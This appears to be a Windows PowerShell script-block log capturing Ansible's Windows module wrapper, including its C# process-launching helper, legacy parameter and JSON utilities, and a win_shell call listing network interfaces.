INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: ef96d97b-0408-4bab-a948-c6676317c075
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1780 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 2816 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0003-9af5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: a836d7ee-b96b-472e-8216-c5652124656b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1779 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 2816 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0005-e9f3-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 3b1e8091-2fa9-4455-b252-e18af8571718
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1778 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 2816 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0003-89f5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (6 of 6):
ZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "(Get-NetIPAddress -addressfamily ipv4).interfacealias -notlike \"Loopback*\"", "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: fc8fb072-1400-4cde-87cf-4e9fd8e2793d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1777 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 2816 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0003-83f5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 6):
29udGFpbmVyKQogICAgewogICAgICAgICRoYXNoID0gIjMiOwogICAgfQogICAgRWxzZQogICAgewogICAgICAgICRoYXNoID0gIjEiOwogICAgfQogICAgcmV0dXJuICRoYXNoCn0KCkZ1bmN0aW9uIE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G9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQu
ScriptBlock ID: fc8fb072-1400-4cde-87cf-4e9fd8e2793d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1776 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 2816 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:59 AM | dfeadd90-ee34-0003-83f5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 6):
jwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBnZXQgYW4gImF0dHJpYnV0ZSIgZnJvbSBhIHBzb2JqZWN0IGluc3RhbmNlIGluIFBvd2VyU2hlbGwuCiAgICBUaGlzIGlzIGEgY29udmVuaWVuY2UgdG8gbWFrZSBnZXR0aW5nIE1lbWJlcnMgZnJvbSBhbiBvYmplY3QgZWFzaWVyIGFuZAogICAgc2xpZ2h0bHkgbW9yZSBweXRob25pYwogICAgLkVYQU1QTEUKICAgICRhdHRyID0gR2V0LUFuc2libGVQYXJhbSAkcmVzcG9uc2UgImNvZGUiIC1kZWZhdWx0ICIxIgogICAgLkVYQU1QTEUKICAgIEdldC1BbnNpYmxlUGFyYW0gLW9iaiAkcGFyYW1zIC1uYW1lICJTdGF0ZSIgLWRlZmF1bHQgIlByZXNlbnQiIC1WYWxpZGF0ZVNldCAiUHJlc2VudCIsIkFic2VudCIgLXJ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dGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdm